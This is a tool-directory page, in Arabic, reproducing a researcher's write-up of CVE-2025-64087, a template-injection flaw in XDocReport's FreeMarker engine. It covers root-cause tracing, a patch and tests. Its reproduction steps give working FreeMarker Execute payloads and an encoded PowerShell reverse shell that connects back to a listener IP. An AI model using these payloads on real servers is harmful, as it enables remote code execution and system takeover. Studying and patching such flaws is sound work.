Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
أدوات/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولات
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

عرض المستودع
11منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-64087 (SSTI FreeMarker)

حقن قالب من جانب الخادم (SSTI) في XDocReport يسمح بتنفيذ التعليمات البرمجية عن بُعد عبر محرك Apache FreeMarker

تعريف الثغرة

نظرة عامة على الثغرة

  • حقن قالب من جانب الخادم (SSTI) هو ثغرة أمنية في الويب تسمح للمهاجم بحقن تعليمات برمجية ضارة في القوالب المستخدمة من قبل أنظمة إدارة المحتوى (CMS) وأطر العمل (framework) الويب، بهدف تنفيذ هجمات عن بُعد، أو الحصول على معلومات حساسة، أو تنفيذ أنشطة اختراق للنظام.

  • SSTI هو أحد أشكال ثغرات الحقن (مثل SQL Injection و XSS وما إلى ذلك)، حيث يستغل المهاجم استخدام أنظمة القوالب لنشر تعليمات برمجية ضارة عن بُعد. عندما يتم تنفيذ هجوم SSTI بنجاح، يمكن للمهاجم تنفيذ التعليمات البرمجية الخاصة به على الخادم، مما يسمح له بتنفيذ هجمات عن بُعد، مثل جمع المعلومات الحساسة، وتنفيذ أنشطة اختراق النظام، والوصول إلى الموارد غير المصرح بها.

  • تحدث ثغرة SSTI عادةً بسبب استخدام أنظمة قوالب غير آمنة، أو بسبب عدم فحص ومعالجة معلمات الإدخال قبل إدراجها في القوالب. إذا تم تنفيذ هجوم SSTI بنجاح، فقد تكون العواقب وخيمة وتسبب خسائر كبيرة للمؤسسة المستهدفة.

تأثير الأعمال

  • يمكن أن تسبب ثغرة SSTI العديد من العواقب الوخيمة، بما في ذلك:

  • تنفيذ تعليمات برمجية ضارة: يمكن للمهاجم استخدام هذه الثغرة لتنفيذ تعليمات برمجية ضارة على الخادم، مما يسمح بسرقة البيانات، أو تنفيذ إجراءات غير قانونية على النظام، أو حتى السيطرة الكاملة على الخادم.

  • كشف المعلومات الحساسة: يمكن أن تسمح SSTI للمهاجم بقراءة أو تعديل أو حذف الملفات على الخادم. إذا كانت هذه الملفات تحتوي على معلومات حساسة، مثل الحسابات وكلمات المرور، فيمكن للمهاجم كشف هذه المعلومات بسهولة.

  • هجمات التهديد أو الاحتيال على المستخدمين: يمكن للمهاجم استخدام SSTI لتنفيذ هجمات تهديد أو احتيال على المستخدمين، عن طريق تغيير محتوى موقع الويب أو إضافة أزرار مخصصة مزيفة. إذا قام المستخدم بالنقر على هذه الأزرار، يمكن للمهاجم سرقة معلومات المستخدم أو تثبيت برامج ضارة على أجهزتهم.

تنزيل الأداة

الخطورة: حاسمة (CRITICAL)

image

الوصف والتأثير

تم العثور على ثغرة حقن قالب من جانب الخادم (SSTI) في OpenSAGRES XDocReport عند معالجة قوالب DOCX باستخدام محرك FreeMarker. في ظل تكوينات معينة، يمكن للقوالب المصممة خصيصاً أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).

يسمح موقع إدارة الموارد البشرية للمستخدمين برفع ملفات مستندات .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق محرك القوالب FreeMarker (في الملف FreemarkerTemplateEngine.java) لتقديم المحتوى ${"freemarker.template.utility.Execute"?new()("whoami")} دون وجود آلية للتحكم أو تصفية محتوى الإدخال. تسمح هذه الثغرة للمهاجم بحقن تعبيرات ضارة في ملف .docx (قالب)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) على الخادم ويمكن استغلالها لسرقة المعلومات أو السيطرة على النظام.

المكون المتأثر

fr.opensagres.xdocreport.template.freemarker — XDocReport (الإصدارات من 1.0.0 إلى 2.1.0).

تحليل السبب الجذري

  • في الملف https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java لا يتم إجراء فحص لمحتوى ملف xdoc المدخل. يتم تحميل محتوى القالب مباشرة وإرساله إلى process(context, writer, template) لمعالجته بواسطة محرك FreeMarker دون أي آلية عزل (sandboxing) أو تقييد للتوجيهات/التعبيرات. ونتيجة لذلك، يمكن للمهاجم تقديم قالب يحتوي على تعبيرات/أوامر FreeMarker ضارة، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).

image

خطوات إعادة الإنتاج

  1. يقوم المستخدم برفع ملف .docx يحتوي على الحمولة التالية:``` ${"freemarker.template.utility.Execute"?new()("calc")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. تم التنفيذ بنجاح وفتح تطبيق الحاسبة

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. بالمثل، للحصول على معلومات المستخدم الجاري تشغيله على النظام باستخدام payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. يمكن ملاحظة أن ملف .docx بعد معالجته بواسطة محرك القوالب يقوم بإرجاع بيانات النظام

image

  1. بالمثل مع الـ payload التالي:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. رفع التأثير إلى RCE

- جهاز الاستماع هو wsl وعنوان IP الخاص به هو `172.26.208.130`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- الاستغلال باستخدام الحمولة التالية:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • معالجة ملف .docx عبر xdocreport

image

  • تم رصد عودة shell إلى جهاز wsl

image

الحل

منع تنفيذ reflection (الأكثر أمانًا ولكن لا يزال قيد البناء به خطأ)

  • في الملف xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java أضف المحتوى التالي

image

image

طريقة الإصلاح التي اتبعتها لا تزال تسمح بعرض الكائنات والخصائص بشكل طبيعي مثل ${cuong.name} وتمنع فقط الوظائف المدمجة الخطيرة

  • جميع حمولات SSTI محظورة:
    • ${'freemarker.template.utility.Execute'?new()('calc')} - محظور بواسطة ALLOWS_NOTHING_RESOLVER
    • ${'java.lang.Runtime'?api.getRuntime()} - محظور بواسطة setAPIBuiltinEnabled(false)
    • جميع الحمولات الأخرى التي تستخدم ?new() و ?api محظورة

التحقق من المدخلات

1. الملف الرئيسي - FreemarkerTemplateEngine.java

المسار: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

التغييرات:

  • ✅ إضافة استيراد: java.util.regex.Pattern image

  • ✅ إضافة طريقة validateTemplateSecurity(Reader reader) — التحقق من الأنماط الخطيرة image

  • ✅ تحديث processNoCache() — إضافة التحقق قبل إنشاء القالب image

  • ✅ تحديث process(String templateName, …) — إضافة التحقق إلى هذه الطريقة image

2. ملف الاختبار - FreemarkerTemplateEngineSecurityTestCase.java

المسار: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

التغييرات:

  • ✅ إنشاء حالة اختبار جديدة — اختبار حمولات SSTI الشائعة
  • ✅ الحمولة الرئيسية المختبرة: ${"freemarker.template.utility.Execute"?new()("whoami")}
  • ✅ أنماط إضافية مختبرة: ?new, java.lang.Runtime, java.lang.ProcessBuilder, إلخ.
  • ✅ اختبار القالب الآمن — التأكد من أن القوالب العادية لا تزال تعمل بشكل صحيح

ملخص التغييرات

الملفنوع التغييرالغرض
FreemarkerTemplateEngine.javaتعديلإضافة حماية SSTI
FreemarkerTemplateEngineSecurityTestCase.javaملف جديداختبار منطق التحقق

الإصلاح النهائي

  • https://github.com/opensagres/xdocreport/pull/705

image

image

في الإصدار 2.2.0 تم تفعيل آلية الحماية ومنع SSTI بنجاح

image

المراجع

  • https://portswigger.net/web-security/server-side-template-injection

إعداد بيئة التصحيح

image

  • في ملف Main.java```java package org.example;

import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

public class Main {

root@kitploit:~
public static void main(String[] args) {
    try {
        // Đọc file đầu vào chứa biểu thức Velocity
        File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
        InputStream input = new FileInputStream(docxTemplate);

        // Load template sử dụng FreeMarker
        IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

        // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
        IContext context = report.createContext();

        // Xuất ra file mới
        OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
        report.process(context, out);

        System.out.println("✅ Đã tạo file result.docx thành công.");
    } catch (Exception e) {
        System.err.println("❌ Lỗi xử lý file:");
        e.printStackTrace();
    }
}

}

root@kitploit:~
- المكتبة التي يجب استيرادها```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

A نقطة البداية (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

root@kitploit:~
→ المصدر الرئيسي هو ملف DOCX هذا — إذا تم رفع/كتابة الملف بواسطة المستخدم، فإن محتوى القالب بداخله (FreeMarker syntax) هو بيانات غير موثوقة.```
InputStream input = new FileInputStream(docxTemplate);

→ اقرأ محتوى الملف لإعادة توجيهه إلى XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

root@kitploit:~
- loadReport(...) سيقوم بتحليل ملف DOCX، والعثور على الإدخالات/القوالب في DOCX وإنشاء IXDocReport (داخليًا سيقوم بتهيئة كائن Template من FreeMarker أو الاحتفاظ بقارئ للقالب).

- محتوى القالب في ملف DOCX أصبح الآن موجودًا في كائن التقرير (لم يتم تنفيذه بعد).

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

zipInputStream.getNextEntry() يتكرر عبر كل إدخال (كل ملف) داخل ZIP (.docx).

archive = new XDocArchive(...) — إذا لم يكن هناك archive، فقم بتهيئة كائن لتنظيم/تسجيل إدخالات المستند.

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

خلاصة: هذا الجزء يقوم بفك ضغط محتوى DOCX إلى هيكل داخلي (XDocArchive) ليتمكن الجزء التالي من الوصول إلى الملفات الفرعية (document.xml، ...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                    ITemplateEngine templateEngine, boolean cacheReport )
        throws IOException, XDocReportException
    {
        initializeIfNeeded();
        // 2) zip was loaded, create an instance of report
        IXDocReport report = createReport( sourceStream );
        // 3) Update the report id if need.
        if ( StringUtils.isEmpty( reportId ) )
        {
            reportId = report.toString();
        }
        report.setId( reportId );
        // 4) Search or set the template engine.
        if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
        {
            // Template engine was not forced.
            // Search template engine
            String documentKind = report.getKind();
            templateEngine =
                TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
            if ( templateEngine == null )
            {
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
            }
        }
        report.setTemplateEngine( templateEngine );
        if ( cacheReport )
        {
            registerReport( report );
        }
        return report;
    }
خطوةالإجراءالغرض
1قراءة ملف DOCXالحصول على هيكل التقرير الأصلي
2إنشاء IXDocReportيمثل القالب
3تعيين المعرفإدارة فريدة
4اختيار محرك القالبلمعالجة التعبيرات (Freemarker/Velocity)
5التخزين المؤقت إذا لزم الأمرتحسين الأداء
6إرجاع التقريريستخدم لعرض الملف الناتج

image

باختصار لا توجد آلية للتحقق من SSTI في IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); بل يتم فقط تحميل ملفات xml داخل docx وإرجاع IXDocReport report جاهز للمعالجة (مثل العرض، دمج البيانات...).

image

في report.process(context, out);

image

  • هذه هي نقطة التشغيل (sink التنفيذ): سوف يستدعي XDocReport المحرك المناسب (هنا FreeMarker) لدمج القالب مع السياق وعرض النتيجة في out.
  • هذه الطريقة تأخذ قالب المستند (مثل .docx أو .odt) الذي تم تحميله مسبقًا، ثم تقوم بإدراج البيانات من كائن السياق (عادةً IContext) في المتغيرات داخل القالب.
  • ثم تقوم بعرض المستند الكامل (مع البيانات الفعلية) وكتابة النتيجة إلى stream out، أي إلى ملف results.docx.

عند التعمق داخل هذه الدالة، يتم استدعاء preprocess(...) لتحليل XML وقراءة كل إدخال XML، ثم تحليل محتوى XML وإنشاء BufferedDocument ثم الكتابة إلى Writer (هذه هي نسخة XML المعالجة مبدئيًا).

image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

root@kitploit:~
        return false;
    }
    catch ( SAXException e )
    {
        throw new XDocReportException( e );
    }
}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

ثم ينتقل إلى `processNoCache()` ويستدعي `getReader()`
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

تُستخدم الدالة `getReader()` لإضافة غلاف من توجيهات الهروب (escape directive) حول القالب بأكمله، وذلك لضمان معالجة المحتوى بأمان (هروب HTML، تجنب الحقن).

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

القالب الأصلي:```xml
<w:p>
  <w:t>Hello ${name}!</w:t>
</w:p>

بعد معالجة getReader():```xml [#-- Hello ${name}! [/#escape][#--]]>--]

root@kitploit:~
يساعد محرك Freemarker على القراءة بشكل أكثر أمانًا:

- حماية XML: هروب الأحرف الخاصة في XML
- معالجة آمنة: تجنب الأخطاء عند تحليل قالب Freemarker

ثم يتم استدعاء `FMParser` لتحليل بناء جملة Freemarker

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

أخيرًا، في `process()` يتم استدعاء `environment.process();` وقارئ البيانات```
public void process() throws TemplateException, IOException {
        Object savedEnv = threadEnv.get();
        threadEnv.set(this);
        try {
            // Cached values from a previous execution are possibly outdated.
            clearCachedValues();
            try {
                doAutoImportsAndIncludes(this);
                visit(getTemplate().getRootTreeNode());
                // It's here as we must not flush if there was an exception.
                if (getAutoFlush()) {
                    out.flush();
                }
            } finally {
                // It's just to allow the GC to free memory...
                clearCachedValues();
            }
        } finally {
            threadEnv.set(savedEnv);
        }
    }

👉 هذه هي أهم خطوة — حيث يحدث العرض الفعلي.

  • getTemplate() يعيد القالب الذي تم تحليله (AST).

  • getRootTreeNode() هو العقدة الجذرية لشجرة النحو التي أنشأها FMParser أثناء التحليل.

  • visit() هو API الأساسي لـ FreeMarker، يستخدم لاجتياز وعرض كل عنصر من القالب، ومعرف في freemarker.core.Environment

    • عند مواجهة TextBlock → كتابة النص إلى المخرجات.

    • عند مواجهة Interpolation (مثل ${user.name}) → البحث في dataModel، الحصول على القيمة، كتابتها إلى المخرجات.

    • عند مواجهة #if, #list, #include, macro → معالجة المنطق المقابل.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

يتم التشغيل عند entryName `word/document.xml`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

ثم القفز إلى الدالة `accept()`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    TemplateElement[] accept(Environment env) throws TemplateException, IOException {
        final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
        final Writer out = env.getOut();
        if (moOrStr instanceof String) {
            final String s = (String) moOrStr;
            if (autoEscape) {
                markupOutputFormat.output(s, out);
            } else {
                out.write(s);
            }
        } else {
            final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
            final MarkupOutputFormat moOF = mo.getOutputFormat();
            // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
            if (moOF == outputFormat) {
                moOF.output(mo, out);
            } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                final String srcPlainText;
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                srcPlainText = moOF.getSourcePlainText(mo);
                if (srcPlainText == null) {
                    throw new _TemplateModelException(escapedExpression,
                            "The value to print is in ", new _DelayedToString(moOF),
                            " format, which differs from the current output format, ",
                            new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                }
                if (markupOutputFormat != null) {
                    markupOutputFormat.output(srcPlainText, out);
                } else {
                    out.write(srcPlainText);
                }
            } else if (markupOutputFormat != null) {
                markupOutputFormat.outputForeign(mo, out);
            } else {
                moOF.output(mo, out);
            }
        }
        return null;
    }

image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

تدفق التنفيذ في دالة `visit()` كما يلي```
visit(Interpolation)                // gọi accept(...)
 └─ Interpolation.accept(env)
     └─ calculateInterpolatedStringOrMarkup(env)
         └─ expression.eval(env)
             └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                 └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây

ملخص التصحيح```

[User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

root@kitploit:~
## 🔍 **ملخص النقاط الرئيسية القابلة للاستغلال**

| المرحلة               | الفئة                  | الدور              | الصلة بـ SSTI            |
| ----------------------- | -------------------- | -------------------- | ------------------------- |
| `loadReport()`          | `XDocReportRegistry` | تحميل القالب         | لا سيطرة على المدخلات     |
| `getReader()`           | `TemplateEngine`     | قراءة بيانات القالب | قد يحتوي على حمولة       |
| `FMParser`              | `freemarker.core`    | تحليل المحتوى       | يتم تحليل المتغيرات `${}` |
| `Environment.process()` | `freemarker.core`    | عرض القالب          | استدعاء `visit()` لكل عقدة   |
| `visit()` / `eval()`    | `freemarker.core`    | تنفيذ التعبير       | **نقطة SSTI / RCE**       |

---

## المستندات

- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link